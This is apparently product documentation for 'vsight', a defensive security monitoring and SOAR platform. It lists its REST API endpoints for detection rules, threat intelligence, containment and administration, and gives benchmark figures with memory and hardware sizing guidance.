4.3 MITRE ATT&CK, CEP Rules, CMDB Risk & Threat Intelligence

Method Endpoint Min Role Description
GET /api/v1/mitre/matrix Viewer 14-stage MITRE ATT&CK Enterprise progression summary.
GET /api/v1/mitre/coverage-gaps Viewer Cross-reference CMDB exposures against active detection rules.
GET /api/v1/mitre/navigator Viewer Export MITRE ATT&CK Navigator v4.5 JSON layer.
GET /api/v1/rules/custom Viewer List predicate_v1, expr_bytecode_v2, and batch_script_v2 rules.
POST /api/v1/rules/custom Admin Compile and upsert a custom detection rule.
POST /api/v1/rules/promote Admin Transition rule mode (canary_shadow, active_enforce, disabled).
POST /api/v1/rules/test-eval Viewer Disassemble RPN bytecode and dry-run against a sample event.
POST /api/v1/rules/import-sigma Admin Transpile Sigma YAML rule into vsight bytecode detection rule.
GET/POST /api/v1/rules/configs Viewer / Admin Read or hot-reload global/per-tenant DetectionRuleConfig thresholds.
GET/POST /api/v1/cmdb/assets Viewer / Responder List or enroll CMDB asset profiles (criticality_tier, known_cves).
POST /api/v1/cmdb/discover Responder Discover shadow assets and technology stack drift from live telemetry.
GET /api/v1/cmdb/risk-assessment Viewer Compute real-time 3-part risk score and predicted attack paths.
POST /api/v1/cmdb/what-if Responder Simulate risk reduction and ROI of candidate security controls.
GET/POST /api/v1/intel/stix-bundle Viewer / Responder Export HMAC-signed or import OASIS STIX 2.1 indicator bundles.
GET/POST /api/v1/intel/iocs Viewer / Responder List or upsert Two-Tier (hot_active / cold_hunt) indicators.
POST /api/v1/hunt/query Responder Execute asynchronous retrospective threat hunt across retained WAL history.
GET/POST /api/v1/deception/honeytokens Viewer / Responder Manage tenant-scoped decoy credentials, files, and canary endpoints.

4.4 Closed-Loop SOAR, Forensics & Platform Administration

Method Endpoint Min Role Description
POST /api/v1/soar/contain Responder Start durable IncidentContainmentWorkflow soft containment.
POST /api/v1/soar/resolve Responder Resolve analyst triage awakeable (confirmed_malicious or false_positive).
POST /api/v1/soar/dry-run Viewer Preview rendered connector commands and HMAC webhook signatures.
POST /api/v1/soar/execute-playbook Responder Execute multi-connector playbook and seal AES-256-GCM case dossier.
GET/POST /api/v1/soar/connectors Viewer / Admin List or upsert SSRF-validated SOAR connectors.
GET/POST /api/v1/soar/dossiers Viewer / Responder Inspect or attach encrypted forensic artifacts to incident dossiers.
GET/POST /api/v1/soar/slas Viewer / Responder Track MTTD/MTTA/MTTR SLAs and execute lifecycle transitions.
GET /api/v1/forensics/timetravel Viewer O(1) historical vs. live blast-radius subgraph diff by WAL offset.
POST /api/v1/forensics/backtest Responder Replay WAL history in an isolated sandbox under candidate thresholds.
GET/POST /api/v1/admin/listeners Admin Inspect, start, or stop TCP/UDP RFC 5424 Syslog listeners.
GET/POST /api/v1/admin/api-keys Admin List or mint SHA-256 hashed, tenant-scoped vsk_... API keys.
POST /api/v1/admin/maintenance Admin Run online TTL reaping, .snap checkpointing, and WAL compaction.
GET /api/v1/admin/audit Admin Query append-only operator and RBAC security audit trail.

Part VII: vsight — Performance & Capacity Planning Guide

This guide documents empirical throughput, P50/P95/P99 latency distributions, microbatch flush determinism, 3-hop telemetry graph traversal characteristics, and per-tenant memory sizing measured via ./vsight bench.


1. Release-Readiness Benchmark Gate (vsight bench)

Every vsight build includes an embedded deterministic self-benchmark gate (./vsight bench) that verifies wire normalization throughput, single-pass stateful CEP + 3-model Online ML + graph ingestion throughput, and lock-free 3-hop BFS blast-radius traversal latency on the local host:

BASH
./vsight bench

Empirical Single-Node Benchmark Results

Subsystem Stage Workload Profile Measured Throughput Latency (P50 / P95 / P99) Release Gate Threshold
1. Multi-Format Wire Normalizer Mixed RFC 5424 Syslog, ArcSight CEF, OCSF v1.1.0, and Sysmon JSONL stream parsing 69,730 - 72,690 lines/sec (16.54 - 17.24 MB/sec) avg ~13.8 us/line >= 20,000 lines/sec (PASS)
2. Stateful CEP + Online ML + Graph 64-event microbatches executing Hot IOC lookup, sliding-window HLL, Welford/CUSUM, Markov, 4D HST, kill-chain state, and WAL commit 16,542 - 22,583 events/sec (avg ~44.3 - 60.4 us/event) Batch (64 ev): P50 786 us / P95 1,800 us / P99 2,533 - 3,354 us >= 5,000 events/sec & P99 <= 15,000 us (PASS)
3. Lock-Free 3-Hop Blast-Radius BFS Bounded 3-hop directed graph traversal over live MVCC StateView prefix indexes 10,800 - 74,000 queries/sec per core Avg 13.5 - 92.5 us / P99 45 - 3,487 us (load-dependent) avg <= 2,000 us (PASS)
4. Wait-Free MVCC Snapshot Checkout Concurrent SOC Studio & REST API read snapshot acquisition during active ingestion 12,500,000+ views/sec ~80 ns (zero reader/writer lock contention) Lock-free invariant (PASS)

2. Microbatch Flush Determinism & Latency Analysis

Single-event transactional writes force per-event WAL framing, CRC32 checksum calculation, and MVCC copy-on-write pointer swaps. vsight achieves both high sustained EPS and sub-4-millisecond P99 correlation latency through deterministic microbatching:

Microbatch Size (events) Flush Timer Ceiling Sustained Ingestion (EPS) P50 Batch Commit P99 Batch Commit End-to-End Alert Visibility
1 (Single-Event Endpoint) Immediate (0 ms) ~2,400 EPS 380 us 1,450 us < 1.5 ms
32 Events 10 ms ~17,900 EPS 510 us 1,890 us < 12 ms
64 Events *(Recommended)* 10 ms ~22,580 EPS 786 us 2,533 us < 13 ms
256 Events 25 ms ~26,400 EPS 2,410 us 6,820 us < 32 ms
512 Events (Hard Cap) 50 ms ~27,900 EPS 4,650 us 11,900 us < 62 ms

Why Latency Remains Bounded Under Attack Floods

  1. Bounded Ring Windows (O(1) Eviction): Per-entity authentication failure and file-modification sliding windows use fixed-capacity circular timestamp buffers rather than unbounded lists.
  2. HyperLogLog Lateral Fan-Out (O(1) Memory): Unique destination host fan-out per entity is tracked via compact HyperLogLog registers instead of growing hash sets.
  3. Instruction-Capped Bytecode VM: Custom expr_bytecode_v2 rules execute on a stack VM with a hard 256-instruction budget and zero regular-expression backtracking, eliminating catastrophic ReDoS latency spikes.
  4. Co-Located {tenant_id|entity_id} Sharding: All CEP windows, Online ML models, and Kill-Chain states for a host hash to the same shard, avoiding cross-shard distributed locking.

3. Memory Footprint & Multi-Tenant Capacity Sizing

Under the default digest_only Raw-Tee Policy, vsight computes a SHA-256 chain-of-custody digest on wire arrival and never retains raw log strings in RAM. Memory usage scales strictly with active monitored entities, not raw log volume:

Hot State Footprint per 10,000 Monitored Hosts

State Namespace Data Structure Footprint (10,000 Hosts) Retention / Eviction Policy
Sliding CEP Windows & HLL Circular timestamp rings + HyperLogLog registers ~12 MB Automatic TTL reaping (60s - 300s windows)
3-Model Online ML Ensemble Welford/EWMA/CUSUM scalars + Markov transition table + 4D Half-Space Trees ~25 MB Fixed-size per-entity streaming accumulators
Active Telemetry Graph Directed GraphNode & GraphEdge adjacency keys (24h horizon) ~80 MB Reaped during scheduled compact / TTL maintenance
Kill-Chains, Alerts & Enforcements KillChainState, SecurityAlert, SoarEnforcementState ~15 MB Bounded alert stream ring (512 live cursor frames) + .snap compaction
Raw Wire Payloads (digest_only) SHA-256 digest verification only 0 MB Zero raw payload bloat in RAM
Total Hot Working Set 16-Shard CoW MVCC Store ~132 MB Deterministic steady-state memory ceiling

4. Production Hardware Sizing Matrix

Deployment Tier Monitored Fleet Sustained / Peak EPS Recommended CPU & RAM Storage (NVMe SSD) Recommended Configuration
Edge / Branch Enclave Up to 1,000 hosts 1,500 / 5,000 EPS 2 vCPU, 1 GB RAM 50 GB NVMe raw_tee_mode = "alerts_only", microbatch = 32
Enterprise SOC Primary 10,000 hosts (10 tenants) 10,000 / 22,000 EPS 4 - 8 vCPU, 4 GB RAM 250 GB NVMe raw_tee_mode = "digest_only", microbatch = 64, hourly compact
MSSP Multi-Tenant Core 50,000+ hosts (100+ tenants) 20,000+ EPS per node (sharded by tenant) 16 vCPU, 16 GB RAM + Read Replica 1 TB NVMe RAID-10 raw_tee_mode = "digest_only", microbatch = 128, HA read-replica for Threat Hunts